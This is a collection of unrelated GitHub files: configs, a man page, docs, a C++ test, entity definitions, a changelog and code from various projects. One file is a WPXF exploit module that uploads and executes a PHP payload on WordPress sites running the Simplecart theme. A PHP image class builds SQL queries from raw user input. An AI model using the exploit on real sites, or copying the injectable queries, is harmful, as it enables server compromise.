_eclasses_=cmake 9f6da23aab151395c55f018fb13a11b2 edos2unix 33e347e171066657f91f8b0c72ec8773 eutils 2d5b3f4b315094768576b6799e4f926e flag-o-matic 09a8beb8e6a8e02dc1e1bd83ac353741 l10n 8cdd85e169b835d518bc2fd59f780d8e multilib 98584e405e2b0264d37e8f728327fed1 multiprocessing cac3169468f893670dac3e7cb940e045 ninja-utils 132cbb376048d079b5a012f5467c4e7f systemd 69be00334d73f9f50261554b94be0879 toolchain-funcs 605c126bed8d87e4378d5ff1645330cb wrapper 4251d4c84c25f59094fd557e0063a974 xdg-utils ff2ff954e6b17929574eee4efc5152ba
_md5_=b32fbd0eff5b30690300ae3200f11299
|
{
"pile_set_name": "Github"
}
|
<?php
return [
/*
|--------------------------------------------------------------------------
| Mail Driver
|--------------------------------------------------------------------------
|
| Laravel supports both SMTP and PHP's "mail" function as drivers for the
| sending of e-mail. You may specify which one you're using throughout
| your application here. By default, Laravel is setup for SMTP mail.
|
| Supported: "smtp", "sendmail", "mailgun", "mandrill", "ses",
| "sparkpost", "log", "array"
|
*/
'driver' => env('MAIL_DRIVER', 'smtp'),
/*
|--------------------------------------------------------------------------
| SMTP Host Address
|--------------------------------------------------------------------------
|
| Here you may provide the host address of the SMTP server used by your
| applications. A default option is provided that is compatible with
| the Mailgun mail service which will provide reliable deliveries.
|
*/
'host' => env('MAIL_HOST', 'smtp.mailgun.org'),
/*
|--------------------------------------------------------------------------
| SMTP Host Port
|--------------------------------------------------------------------------
|
| This is the SMTP port used by your application to deliver e-mails to
| users of the application. Like the host we have set this value to
| stay compatible with the Mailgun e-mail application by default.
|
*/
'port' => env('MAIL_PORT', 587),
/*
|--------------------------------------------------------------------------
| Global "From" Address
|--------------------------------------------------------------------------
|
| You may wish for all e-mails sent by your application to be sent from
| the same address. Here, you may specify a name and address that is
| used globally for all e-mails that are sent by your application.
|
*/
'from' => [
'address' => env('MAIL_FROM_ADDRESS', '[email protected]'),
'name' => env('MAIL_FROM_NAME', 'Example'),
],
/*
|--------------------------------------------------------------------------
| E-Mail Encryption Protocol
|--------------------------------------------------------------------------
|
| Here you may specify the encryption protocol that should be used when
| the application send e-mail messages. A sensible default using the
| transport layer security protocol should provide great security.
|
*/
'encryption' => env('MAIL_ENCRYPTION', 'tls'),
/*
|--------------------------------------------------------------------------
| SMTP Server Username
|--------------------------------------------------------------------------
|
| If your SMTP server requires a username for authentication, you should
| set it here. This will get used to authenticate with your server on
| connection. You may also set the "password" value below this one.
|
*/
'username' => env('MAIL_USERNAME'),
'password' => env('MAIL_PASSWORD'),
/*
|--------------------------------------------------------------------------
| Sendmail System Path
|--------------------------------------------------------------------------
|
| When using the "sendmail" driver to send e-mails, we will need to know
| the path to where Sendmail lives on this server. A default path has
| been provided here, which will work well on most of your systems.
|
*/
'sendmail' => '/usr/sbin/sendmail -bs',
/*
|--------------------------------------------------------------------------
| Markdown Mail Settings
|--------------------------------------------------------------------------
|
| If you are using Markdown based email rendering, you may configure your
| theme and component paths here, allowing you to customize the design
| of the emails. Or, you may simply stick with the Laravel defaults!
|
*/
'markdown' => [
'theme' => 'default',
'paths' => [
resource_path('views/vendor/mail'),
],
],
];
|
{
"pile_set_name": "Github"
}
|
.TH sshpk\-sign 1 "Jan 2016" sshpk "sshpk Commands"
.SH NAME
.PP
sshpk\-sign \- sign data using an SSH key
.SH SYNOPSYS
.PP
\fB\fCsshpk\-sign\fR \-i KEYPATH [OPTION...]
.SH DESCRIPTION
.PP
Takes in arbitrary bytes, and signs them using an SSH private key. The key can
be of any type or format supported by the \fB\fCsshpk\fR library, including the
standard OpenSSH formats, as well as PEM PKCS#1 and PKCS#8.
.PP
The signature is printed out in Base64 encoding, unless the \fB\fC\-\-binary\fR or \fB\fC\-b\fR
option is given.
.SH EXAMPLES
.PP
Signing with default settings:
.PP
.RS
.nf
$ printf 'foo' | sshpk\-sign \-i ~/.ssh/id_ecdsa
MEUCIAMdLS/vXrrtWFepwe...
.fi
.RE
.PP
Signing in SSH (RFC 4253) format (rather than the default ASN.1):
.PP
.RS
.nf
$ printf 'foo' | sshpk\-sign \-i ~/.ssh/id_ecdsa \-t ssh
AAAAFGVjZHNhLXNoYTIt...
.fi
.RE
.PP
Saving the binary signature to a file:
.PP
.RS
.nf
$ printf 'foo' | sshpk\-sign \-i ~/.ssh/id_ecdsa \\
\-o signature.bin \-b
$ cat signature.bin | base64
MEUCIAMdLS/vXrrtWFepwe...
.fi
.RE
.SH OPTIONS
.TP
\fB\fC\-v, \-\-verbose\fR
Print extra information about the key and signature to stderr when signing.
.TP
\fB\fC\-b, \-\-binary\fR
Don't base64\-encode the signature before outputting it.
.TP
\fB\fC\-i KEY, \-\-identity=KEY\fR
Select the key to be used for signing. \fB\fCKEY\fR must be a relative or absolute
filesystem path to the key file. Any format supported by the \fB\fCsshpk\fR library
is supported, including OpenSSH formats and standard PEM PKCS.
.TP
\fB\fC\-f PATH, \-\-file=PATH\fR
Input file to sign instead of stdin.
.TP
\fB\fC\-o PATH, \-\-out=PATH\fR
Output file to save signature in instead of stdout.
.TP
\fB\fC\-H HASH, \-\-hash=HASH\fR
Set the hash algorithm to be used for signing. This should be one of \fB\fCsha1\fR,
\fB\fCsha256\fR or \fB\fCsha512\fR\&. Some key types may place restrictions on which hash
algorithms may be used (e.g. ED25519 keys can only use SHA\-512).
.TP
\fB\fC\-t FORMAT, \-\-format=FORMAT\fR
Choose the signature format to use, from \fB\fCasn1\fR, \fB\fCssh\fR or \fB\fCraw\fR (only for
ED25519 signatures). The \fB\fCasn1\fR format is the default, as it is the format
used with TLS and typically the standard in most non\-SSH libraries (e.g.
OpenSSL). The \fB\fCssh\fR format is used in the SSH protocol and by the ssh\-agent.
.SH SEE ALSO
.PP
.BR sshpk-verify (1)
.SH BUGS
.PP
Report bugs at Github
\[la]https://github.com/arekinath/node-sshpk/issues\[ra]
|
{
"pile_set_name": "Github"
}
|
<?php
class Images {
function load($data){
$db = new SQLiteDatabase("sql/imgorg.db");
$tags = $data->tags;
$album = $data->album;
$qry = 'select i.filename as filename, i.url as url, i.id as id from Images i';
$where = array();
if ($tags) {
for ($i = 0;$i < sizeof($tags);$i++) {
$qry .= ' INNER JOIN Images_Tags it'.$i.' ON i.id = it'.$i.'.image_id';
array_push($where,' it'.$i.'.tag_id = "'.$tags[$i].'"');
}
}
if ($album) {
$qry .= ' INNER JOIN Albums a ON i.album_id = a.id';
array_push($where, ' a.id ="'.$album.'"');
}
if ($where) {
$qry .= ' WHERE'.join(" AND", $where);
}
$res = $db->query($qry);
return $res->fetchAll();
// return $qry;
}
function upload($data, $files){
$name = $files["Filedata"]["name"];
$db = new SQLiteDatabase("sql/imgorg.db");
$db->queryExec('INSERT INTO Images (filename, url) VALUES("'.$name.'","images/'.$name.'")');
$q = $db->query('SELECT * FROM Images WHERE filename = "'.$name.'"');
move_uploaded_file($files["Filedata"]["tmp_name"],"../images/".$name);
return array(
'data' => $files["Filedata"],
'res' => $q->fetchObject()
//,
//'test' => $phm->getImageQuality()
);
}
function addToAlbum($data) {
$images = $data->images;
$album = $data->album;
$db = new SQLiteDatabase("sql/imgorg.db");
for ($i = 0;$i < sizeof($images);$i++) {
// $db->queryExec('INSERT INTO Albums_Images (image_id, album_id) VALUES ("'.$images[$i].'","'.$album.'")');
$db->queryExec('UPDATE Images SET album_id = "'.$album.'" WHERE id ="'.$images[$i].'"');
}
return array('success' => true, 'images' => $images, 'album' => $album);
}
function tagImage($data) {
$images = $data->images;
$tag = $data->tag;
$db = new SQLiteDatabase("sql/imgorg.db");
// if it is a known tag the id is sent, otherwise a new string is, so we need to insert
if (!is_numeric($tag)) {
$db->queryExec('INSERT INTO Tags (text) VALUES ("'.$tag.'")');
$q = $db->query('SELECT id FROM Tags WHERE text = "'.$tag.'"');
$tag = $q->fetchObject()->id;
}
for ($i = 0;$i < sizeof($images);$i++) {
$db->queryExec('INSERT INTO Images_Tags (image_id, tag_id) VALUES ("'.$images[$i].'","'.$tag.'")');
}
return array('success' => true, 'images' => $images, 'tag' => $tag);
}
function rename($data) {
$db = new SQLiteDatabase("sql/imgorg.db");
$image = $data->image;
$name = $data->name;
$url = $data->url;
$urls = split('/',$url);
array_pop($urls);
$newUrl = (join('/',$urls)).'/'.$name;
$db->queryExec('UPDATE Images SET url = "'.$newUrl.'", filename = "'.$name.'" WHERE id = "'.$image.'"');
rename('../'.$url, '../'.$newUrl);
return array('image' => $image, 'name' => $name, 'url' => $newUrl);
}
function remove($data) {
$db = new SQLiteDatabase("sql/imgorg.db");
$images = $data->images;
for ($i = 0;$i < sizeof($images);$i++) {
$res = $db->query('SELECT url FROM Images where id ="'.$images[$i].'"');
$url = $res->fetchObject()->url;
unlink('../'.$url);
$db->queryExec('DELETE FROM Images WHERE id ="'.$images[$i].'"');
$db->queryExec('DELETE FROM Images_Tags WHERE image_id ="'.$images[$i].'"');
}
}
function getInfo($data) {
$db = new SQLiteDatabase("sql/imgorg.db");
$image = $data->image;
$q = $db->query('SELECT url FROM Images WHERE id = "'.$image.'"');
$path = $q->fetchObject()->url;
$ret = exif_read_data('../'.$path);
return $ret;
}
}
|
{
"pile_set_name": "Github"
}
|
# frozen_string_literal: true
require 'socket'
class Wpxf::Exploit::SimplecartShellUpload < Wpxf::Module
include Wpxf
def initialize
super
update_info(
name: 'Simplecart Theme Shell Upload',
desc: 'This module exploits a file upload vulnerability in all versions '\
'of the Simplecart theme found in the upload_file.php script '\
'which contains no session or file validation. It allows '\
'unauthenticated users to upload files of any type and '\
'subsequently execute PHP scripts in the context of the '\
'web server.',
author: [
'Divya', # Vulnerability disclosure
'rastating' # WPXF module
],
references: [
['EDB', '36611']
],
date: 'April 02 2015'
)
end
def check
check_theme_version_from_readme('simplecart')
end
def plugin_url
normalize_uri(wordpress_url_themes, 'simplecart')
end
def uploads_url
normalize_uri(plugin_url, 'admin',)
end
def uploader_url
normalize_uri(uploads_url, 'upload-file.php')
end
def payload_body_builder(payload_name)
target_ip = IPSocket.getaddress(target_host)
field_name = Utility::Text.md5(target_ip)
builder = Utility::BodyBuilder.new
builder.add_file_from_string(field_name, payload.encoded, payload_name)
builder.add_field('upload_path', 'Lg==')
builder
end
def run
return false unless super
emit_info 'Preparing payload...'
payload_name = "#{Utility::Text.rand_alpha(10, :lower)}.php"
builder = payload_body_builder(payload_name)
emit_info 'Uploading payload...'
res = nil
builder.create do |body|
res = execute_post_request(url: uploader_url, body: body)
end
if res.nil?
emit_error 'No response from the target'
return false
end
if res.code != 200
emit_error "Server responded with code #{res.code}"
return false
end
payload_url = normalize_uri(uploads_url, payload_name)
emit_success "Uploaded the payload to #{payload_url}", true
emit_info 'Executing the payload...'
res = execute_get_request(url: payload_url)
if res && res.code == 200 && !res.body.strip.empty?
emit_success "Result: #{res.body}"
end
return true
end
end
|
{
"pile_set_name": "Github"
}
|
using YAF.Lucene.Net.QueryParsers.Flexible.Core.Builders;
using YAF.Lucene.Net.QueryParsers.Flexible.Core.Nodes;
using YAF.Lucene.Net.QueryParsers.Flexible.Standard.Nodes;
using YAF.Lucene.Net.Search;
namespace YAF.Lucene.Net.QueryParsers.Flexible.Standard.Builders
{
/*
* Licensed to the Apache Software Foundation (ASF) under one or more
* contributor license agreements. See the NOTICE file distributed with
* this work for additional information regarding copyright ownership.
* The ASF licenses this file to You under the Apache License, Version 2.0
* (the "License"); you may not use this file except in compliance with
* the License. You may obtain a copy of the License at
*
* http://www.apache.org/licenses/LICENSE-2.0
*
* Unless required by applicable law or agreed to in writing, software
* distributed under the License is distributed on an "AS IS" BASIS,
* WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
* See the License for the specific language governing permissions and
* limitations under the License.
*/
/// <summary>
/// This query tree builder only defines the necessary map to build a
/// <see cref="Query"/> tree object. It should be used to generate a <see cref="Query"/> tree
/// object from a query node tree processed by a
/// <see cref="Processors.StandardQueryNodeProcessorPipeline"/>.
/// </summary>
/// <seealso cref="QueryTreeBuilder"/>
/// <seealso cref="Processors.StandardQueryNodeProcessorPipeline"/>
public class StandardQueryTreeBuilder : QueryTreeBuilder<Query>, IStandardQueryBuilder
{
public StandardQueryTreeBuilder()
{
SetBuilder(typeof(GroupQueryNode), new GroupQueryNodeBuilder());
SetBuilder(typeof(FieldQueryNode), new FieldQueryNodeBuilder());
SetBuilder(typeof(BooleanQueryNode), new BooleanQueryNodeBuilder());
SetBuilder(typeof(FuzzyQueryNode), new FuzzyQueryNodeBuilder());
SetBuilder(typeof(NumericQueryNode), new DummyQueryNodeBuilder());
SetBuilder(typeof(NumericRangeQueryNode), new NumericRangeQueryNodeBuilder());
SetBuilder(typeof(BoostQueryNode), new BoostQueryNodeBuilder());
SetBuilder(typeof(ModifierQueryNode), new ModifierQueryNodeBuilder());
SetBuilder(typeof(WildcardQueryNode), new WildcardQueryNodeBuilder());
SetBuilder(typeof(TokenizedPhraseQueryNode), new PhraseQueryNodeBuilder());
SetBuilder(typeof(MatchNoDocsQueryNode), new MatchNoDocsQueryNodeBuilder());
SetBuilder(typeof(PrefixWildcardQueryNode),
new PrefixWildcardQueryNodeBuilder());
SetBuilder(typeof(TermRangeQueryNode), new TermRangeQueryNodeBuilder());
SetBuilder(typeof(RegexpQueryNode), new RegexpQueryNodeBuilder());
SetBuilder(typeof(SlopQueryNode), new SlopQueryNodeBuilder());
SetBuilder(typeof(StandardBooleanQueryNode),
new StandardBooleanQueryNodeBuilder());
SetBuilder(typeof(MultiPhraseQueryNode), new MultiPhraseQueryNodeBuilder());
SetBuilder(typeof(MatchAllDocsQueryNode), new MatchAllDocsQueryNodeBuilder());
}
public override Query Build(IQueryNode queryNode)
{
return base.Build(queryNode);
}
}
}
|
{
"pile_set_name": "Github"
}
|
# Email
Thanks to the plugin `Email`, you can send email from your server or externals providers such as **Sendgrid**.
## Programmatic usage
In your custom controllers or services you may want to send email.
By using the following function, strapi will use the configured provider to send an email.
```js
await strapi.plugins['email'].services.email.send({
to: '[email protected]',
from: '[email protected]',
replyTo: '[email protected]',
subject: 'Use strapi email provider successfully',
text: 'Hello world!',
html: 'Hello world!',
});
```
## Configure the plugin
The plugin provides you a settings page where you can define the email provider you want to use.
You will also be able to add some configuration.
- Click on **Plugins** in the left menu
- Click on the cog button on the **Email** plugin line
## Install new providers
By default Strapi provides a local email system. You might want to send email with a third party.
You can check all the available providers developed by the community on npmjs.org - [Providers list](https://www.npmjs.com/search?q=strapi-provider-email-)
To install a new provider run:
:::: tabs
::: tab yarn
```
yarn add strapi-provider-email-sendgrid@beta --save
```
:::
::: tab npm
```
npm install strapi-provider-email-sendgrid@beta --save
```
:::
::::
::: tip
If the provider is not in the mono repo, you probably don't need `@beta` depending if the creator published it with this tag or not.
:::
Then, visit [http://localhost:1337/admin/plugins/email/configurations/development](http://localhost:1337/admin/plugins/email/configurations/development) on your web browser and configure the provider.
## Create new provider
If you want to create your own, make sure the name starts with `strapi-provider-email-` (duplicating an existing one will be easier), modify the `auth` config object and customize the `send` function.
Default template
```js
module.exports = {
provider: 'provider-id',
name: 'display name',
auth: {
config_1: {
label: 'My Config 1',
type: 'text',
},
},
init: config => {
return {
send: async options => {},
};
},
};
```
In the `send` function you will have access to:
- `config` that contains configurations you setup in your admin panel
- `options` that contains options you send when you call the `send` function from the email plugin service
To use it you will have to publish it on **npm**.
### Create a local provider
If you want to create your own provider without publishing it on **npm** you can follow these steps:
- Create a `providers` folder in your application.
- Create your provider as explained in the documentation eg. `./providers/strapi-provider-email-[...]/...`
- Then update your `package.json` to link your `strapi-provider-email-[...]` dependency to the [local path](https://docs.npmjs.com/files/package.json#local-paths) of your new provider.
```json
{
...
"dependencies": {
...
"strapi-provider-email-[...]": "file:providers/strapi-provider-email-[...]",
...
}
}
```
- Finally, run `yarn install` or `npm install` to install your new custom provider.
## Troubleshooting
You received an `Auth.form.error.email.invalid` error even though the email is valid and exists in the database.
Here is the error response you get from the API.
```json
{
"statusCode": 400,
"error": "Bad Request",
"message": [
{
"messages": [
{
"id": "Auth.form.error.email.invalid"
}
]
}
]
}
```
This error is due to your IP connection. By default, Strapi uses the [`sendmail`](https://github.com/guileen/node-sendmail) package.
This package sends an email from the server it runs on. Depending on the network you are on, the connection to the SMTP server could fail.
Here is the `sendmail` error.
```
Error: SMTP code:550 msg:550-5.7.1 [87.88.179.13] The IP you're using to send mail is not authorized to
550-5.7.1 send email directly to our servers. Please use the SMTP relay at your
550-5.7.1 service provider instead. Learn more at
550 5.7.1 https://support.google.com/mail/?p=NotAuthorizedError 30si2132728pjz.75 - gsmtp
```
To fix it, I suggest you to use another email provider that uses third party to send emails.
When using a third party provider, you avoid having to setup a mail server on your server and get extra features such as email analytics.
|
{
"pile_set_name": "Github"
}
|
一、简介
该款APP是一个后台基于bmob后端云的校园社交APP,后台采用bmob云存储技术。界面采用了谷歌的matrial design设计,框架基于MD+Rxjava+retrofit+MVP架构。
到目前为止,已经完成的功能模块有单聊,群聊,附近人搜索,开心时刻,天气预报,朋友圈发表和个人信息编辑展示等7大功能模块。
首先郑重声明下,该聊天功能的实现并不是调用官方的即时通讯API,而是本人自己结合官方提供的推送功能和实时同步的功能,按照自己的逻辑来实现的,所以内部聊天信息的逻辑处理过程源码是开放的,希望对想学习Android聊天框架的同学有所帮助。
项目详解地址:http://www.jianshu.com/p/2d76430617ae
二、screenshot
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170609-153556.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-153501.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70611-240903.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-160929.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-160840.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-160131.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-160046.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154410.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154406.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154358.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154355.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/S70610-154347.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-154938.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-155450.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-155556.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-161608.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-161817.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-161924.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-162019.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-162025.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-162038.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-235352.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170610-235657.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170611-104346.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170611-104502.jpg
width=250 height=450>
<image src=https://github.com/HelloChenJinJun/TestChat/blob/master/screenshots/Screenshot_20170611-104528.jpg
width=250 height=450>
|
{
"pile_set_name": "Github"
}
|
<!-- iso-amsr.ent produced by Norman Walsh for the XML version of DocBook -->
<!-- Derived from the corresponding ISO 8879 standard entity set
and the Unicode character mappings provided by Sebastian Rahtz -->
<!ENTITY ape "≊"> <!-- -->
<!ENTITY asymp "≍"> <!-- EQUIVALENT TO -->
<!ENTITY bcong "≌"> <!-- ALL EQUAL TO -->
<!ENTITY bepsi ""> <!-- -->
<!ENTITY bowtie "⋈"> <!-- -->
<!ENTITY bsim "∽"> <!-- -->
<!ENTITY bsime "⋍"> <!-- -->
<!ENTITY bump "≎"> <!-- -->
<!ENTITY bumpe "≏"> <!-- -->
<!ENTITY cire "≗"> <!-- -->
<!ENTITY colone "≔"> <!-- -->
<!ENTITY cuepr "⋞"> <!-- -->
<!ENTITY cuesc "⋟"> <!-- -->
<!ENTITY cupre "≼"> <!-- -->
<!ENTITY dashv "⊣"> <!-- -->
<!ENTITY ecir "≖"> <!-- -->
<!ENTITY ecolon "≕"> <!-- -->
<!ENTITY eDot "≑"> <!-- -->
<!ENTITY esdot "≐"> <!-- -->
<!ENTITY efDot "≒"> <!-- -->
<!ENTITY egs "⋝"> <!-- -->
<!ENTITY els "⋜"> <!-- -->
<!ENTITY erDot "≓"> <!-- -->
<!ENTITY fork "⋔"> <!-- -->
<!ENTITY frown "⌢"> <!-- -->
<!ENTITY gap "≳"> <!-- GREATER-THAN OR EQUIVALENT TO -->
<!ENTITY gsdot "⋗"> <!-- -->
<!ENTITY gE "≧"> <!-- -->
<!ENTITY gel "⋛"> <!-- -->
<!ENTITY gEl "⋛"> <!-- -->
<!ENTITY ges ""> <!-- -->
<!ENTITY Gg "⋙"> <!-- VERY MUCH GREATER-THAN -->
<!ENTITY gl "≷"> <!-- -->
<!ENTITY gsim "≳"> <!-- GREATER-THAN OR EQUIVALENT TO -->
<!ENTITY Gt "≫"> <!-- MUCH GREATER-THAN -->
<!ENTITY lap "≲"> <!-- LESS-THAN OR EQUIVALENT TO -->
<!ENTITY ldot "⋖"> <!-- -->
<!ENTITY lE "≦"> <!-- -->
<!ENTITY lEg "⋚"> <!-- -->
<!ENTITY leg "⋚"> <!-- -->
<!ENTITY les ""> <!-- -->
<!ENTITY lg "≶"> <!-- LESS-THAN OR GREATER-THAN -->
<!ENTITY Ll "⋘"> <!-- -->
<!ENTITY lsim "≲"> <!-- LESS-THAN OR EQUIVALENT TO -->
<!ENTITY Lt "≪"> <!-- MUCH LESS-THAN -->
<!ENTITY ltrie "⊴"> <!-- -->
<!ENTITY mid "∣"> <!-- -->
<!ENTITY models "⊧"> <!-- MODELS -->
<!ENTITY pr "≺"> <!-- -->
<!ENTITY prap "≾"> <!-- -->
<!ENTITY pre "≼"> <!-- -->
<!ENTITY prsim "≾"> <!-- -->
<!ENTITY rtrie "⊵"> <!-- -->
<!-- samalg Unknown unicode character -->
<!ENTITY sc "≻"> <!-- -->
<!ENTITY scap "≿"> <!-- -->
<!ENTITY sccue "≽"> <!-- -->
<!ENTITY sce "≽"> <!-- -->
<!ENTITY scsim "≿"> <!-- -->
<!ENTITY sfrown ""> <!-- -->
<!ENTITY smid ""> <!-- -->
<!ENTITY smile "⌣"> <!-- -->
<!ENTITY spar ""> <!-- -->
<!ENTITY sqsub "⊏"> <!-- -->
<!ENTITY sqsube "⊑"> <!-- -->
<!ENTITY sqsup "⊐"> <!-- -->
<!ENTITY sqsupe "⊒"> <!-- -->
<!ENTITY ssmile ""> <!-- -->
<!ENTITY Sub "⋐"> <!-- -->
<!ENTITY subE "⊆"> <!-- -->
<!ENTITY Sup "⋑"> <!-- -->
<!ENTITY supE "⊇"> <!-- -->
<!ENTITY thkap ""> <!-- -->
<!ENTITY thksim ""> <!-- -->
<!ENTITY trie "≜"> <!-- -->
<!ENTITY twixt "≬"> <!-- BETWEEN -->
<!ENTITY vdash "⊢"> <!-- -->
<!ENTITY Vdash "⊩"> <!-- -->
<!ENTITY vDash "⊨"> <!-- -->
<!ENTITY veebar "⊻"> <!-- -->
<!ENTITY vltri "⊲"> <!-- -->
<!ENTITY vprop "∝"> <!-- -->
<!ENTITY vrtri "⊳"> <!-- -->
<!ENTITY Vvdash "⊪"> <!-- -->
|
{
"pile_set_name": "Github"
}
|
// Copyright (C) 2004-2013 Free Software Foundation, Inc.
//
// This file is part of the GNU ISO C++ Library. This library is free
// software; you can redistribute it and/or modify it under the
// terms of the GNU General Public License as published by the
// Free Software Foundation; either version 3, or (at your option)
// any later version.
// This library is distributed in the hope that it will be useful,
// but WITHOUT ANY WARRANTY; without even the implied warranty of
// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
// GNU General Public License for more details.
// You should have received a copy of the GNU General Public License along
// with this library; see the file COPYING3. If not see
// <http://www.gnu.org/licenses/>.
#include <ext/vstring.h>
#include <ext/array_allocator.h>
#include <testsuite_hooks.h>
typedef char char_type;
typedef std::char_traits<char_type> traits_type;
typedef std::tr1::array<char_type, 4> array_type;
array_type extern_array;
void test01()
{
bool test __attribute__((unused)) = true;
using __gnu_cxx::__versa_string;
typedef __gnu_cxx::array_allocator<char_type, array_type> allocator_type;
typedef __versa_string<char_type, traits_type, allocator_type> string_type;
// Construct array_allocator without underlying array.
allocator_type a;
string_type s(a);
try
{
s.reserve(4); // Actually need 4 + 1 + sizeof(std::string::_Rep).
}
catch(std::bad_alloc& obj)
{
VERIFY( true );
}
catch(...)
{
VERIFY( false );
}
}
int main()
{
test01();
return 0;
}
|
{
"pile_set_name": "Github"
}
|
Changes
=======
(See :doc:`roadmap` for future plans.)
Release History
---------------
1.2.10
^^^^^^^^^^^^^^^^^^
* Improved MidiFile.play to avoid time drift. (Implemented by John
Belmonte, pull request #161.)
* New ``repr()`` format. (Original implementation by John Belmonte,
pull request #164.)
* bugfix: MIDO_DEFAULT_INPUT was misspelled in mido-ports causing it
to be show as 'not set' even though it was set. (Fix by Bernhard
Wagner, pull request #192.)
* Updated linke in docs to point to the new home github.com/mido/
(Fixed by Joshua Mayers, pull request #177.)
1.2.9 (2018-10-05)
^^^^^^^^^^^^^^^^^^
* rewrote ``Parser`` class around a MIDI tokenizer. Should lead to
slight speedup and much cleaner code.
* bugfix: `data` attribute was missing for `UnknownMetaMessage`
objects. This caused `AttributeError` when the messages were printed
or saved to a file. Also, the documentation incorrectly listed the
attribute as `_data` instead of `data`. (Reported by Groowy.)
* bugfix: UnknownMetaMessage encoding was broken causing crashes when
saving a file with unknown meta messages. (Reported by exeex, issue
#159.)
* bugfix: inputs and outputs were switched around when opening named
ports with PortMidi backend. (Reproduced by Predrag Radovic, issue
#108, fix by Juan Antonio Aldea, pull request #109.)
* bugfix: time signature meta messages had wrong default value of
2/4. The default value is now 4/4. (Fix by Sebastian Böck, pull
request #104.)
* bugfix: ``msg.copy()`` didn't handle generators for sysex
data. ``msg.copy(data=(i for i in range(3)))`` would give
``data=()`` instead of ``data=(0,1,2)``.
(The code should be refactored so this is handled by the same
function everywhere, such as in ``__init__()``, in ``copy()`` and in
``parser.feed()``.)
* bugfix: ``MultiPort._receive()`` ignored the ``block``
parameter. (Fix by Tom Swirly, pull request #135.)
* bugfix: sequencer number meta message was incorrectly limited to
range 0..255 instead of 0..65335. (Reported by muranyia, issue
#144.)
* now using Tox for testing. (Implemented by Chris Apple, pull request
#123.)
* Travis integration up by Carl Thomé and Chris Apple.
1.2.8 (2017-06-30)
^^^^^^^^^^^^^^^^^^
* bugfix: nonblocking receive was broken for RtMidi IO
ports. (Reported by Chris Apple, issue #99.)
* bugfix: ``IOPort.poll()`` would block if another thread was waiting
for ``receive()``. Fixed the problem by removing the lock, which
was never needed in the first place as the embedded input port does
its own locking.
1.2.7 (2017-05-31)
^^^^^^^^^^^^^^^^^^
* added max length when reading message from a MIDI file. This
prevents Python from running out of memory when reading a corrupt
file. Instead it will now raise an ``IOError`` with a descriptive
error message. (Implemented by Curtis Hawthorne, pull request #95.)
* removed dependency on ``python-rtmidi`` from tests. (Reported by
Josue Ortega, issue #96.)
1.2.6 (2017-05-04)
^^^^^^^^^^^^^^^^^^
* bugfix: Sending sysex with Pygame in Python 3 failed with
``"TypeError: array() argument 1 must be a unicode character, not
byte"``. (Reported by Harry Williamson.)
* now handles ``sequence_number`` and ``midi_port`` messages with 0
data bytes. These are incorrect but can occur in rare cases. See
``mido/midifiles/test_midifiles.py`` for more. (Reported by Gilthans
(issue #42) and hyst329 (issue #93)).
1.2.5 (2017-04-28)
^^^^^^^^^^^^^^^^^^
* bugfix: RtMidi backend ignored ``api`` argument. (Fix by Tom Feist,
pull request #91.)
1.2.4 (2017-03-19)
^^^^^^^^^^^^^^^^^^
* fixed outdated python-rtmidi install instructions. (Reported by
Christopher Arndt, issue #87.)
1.2.3 (2017-03-14)
^^^^^^^^^^^^^^^^^^
* typo and incorrect links in docs fixed by Michael (miketwo) (pull requests
#84 and #85).
1.2.2 (2017-03-14)
^^^^^^^^^^^^^^^^^^
* bugfix: sysex data was broken in string format encoding and decoding.
The data was encoded with spaces ('data=(1, 2, 3)') instead of as one word
('data=(1,2,3)').
* added some tests for string format.
* bugfix: ``BaseOutput.send()`` raised string instead of ``ValueError``.
1.2.1 (2017-03-10)
^^^^^^^^^^^^^^^^^^
* bugfix: IO port never received anything when used with RtMidi
backend. (Reported by dagargo, issue #83.)
